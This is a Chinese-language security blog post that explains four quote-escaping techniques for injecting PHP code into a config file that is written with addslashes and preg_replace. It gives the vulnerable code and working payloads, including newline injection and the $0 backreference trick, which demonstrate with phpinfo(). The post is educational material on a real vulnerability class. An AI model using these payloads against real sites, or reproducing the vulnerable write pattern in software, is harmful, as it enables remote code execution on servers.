配置写入时引号逃逸的4种类型

被匹配的内容:

<?php
$API='aaaa';
?>

第一种写入方式:

$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/", "\$API='{$api}';", $file);
file_put_contents('./option.php', $file);

';%0aphpinfo();//

发现还有单引号被转义,因为addslashes($_GET['api']);有这个存在,我们输入内容就称为了

%0aphpinfo();//

可以继续输入为任意字符,这样$api接收的内容就会将单引号包裹的内容进行替换,我这里输入 1 ,成功绕过

第二种写入方式:

$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API='.*';/s", "\$API='{$api}';", $file); // 将正则规则为 换行符匹配
file_put_contents('./option.php', $file);

用上面的办法已经行不通了,因为一次匹配把换行之后的内容也匹配起来,可以先;phpinfo();,内容为如下

然后再输入$0,发现内容为如下,成功绕过

原因是:先;phpinfo();,可以让单引号中的内容为;phpinfo();,然后在$0,$0的意思为匹配完整的内容,$0\\0一个意思,就是正则匹配的结果,\\0代表完整的匹配

关于反向引用的内容参考:https://www.php.net/preg_replace/

这时候匹配到的内容就是$API=';phpinfo();';,将该内容填充为单引号中的内容,前面的单引号闭合,后面的也闭合,成功执行


第三种写入方式:

/\\\$API='.*?';/,这里是非贪婪模式进行正则匹配

';%0aphpinfo();//

然后输入1就可以成功绕过了


第四种写入方式:

/\\\$API='.*?';/s,这里是非贪婪模式,换行匹配

aaa';phpinfo();//

aaa 成功绕过

原因:加了贪婪模式之后,匹配的内容就是$API='aaa\'这一段,后面的;phpinfo();//';是匹配不到的,然后再输入aaa那么替换的就是aaa\这段,从而绕过!

posted @   zpchcbd  阅读(314)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示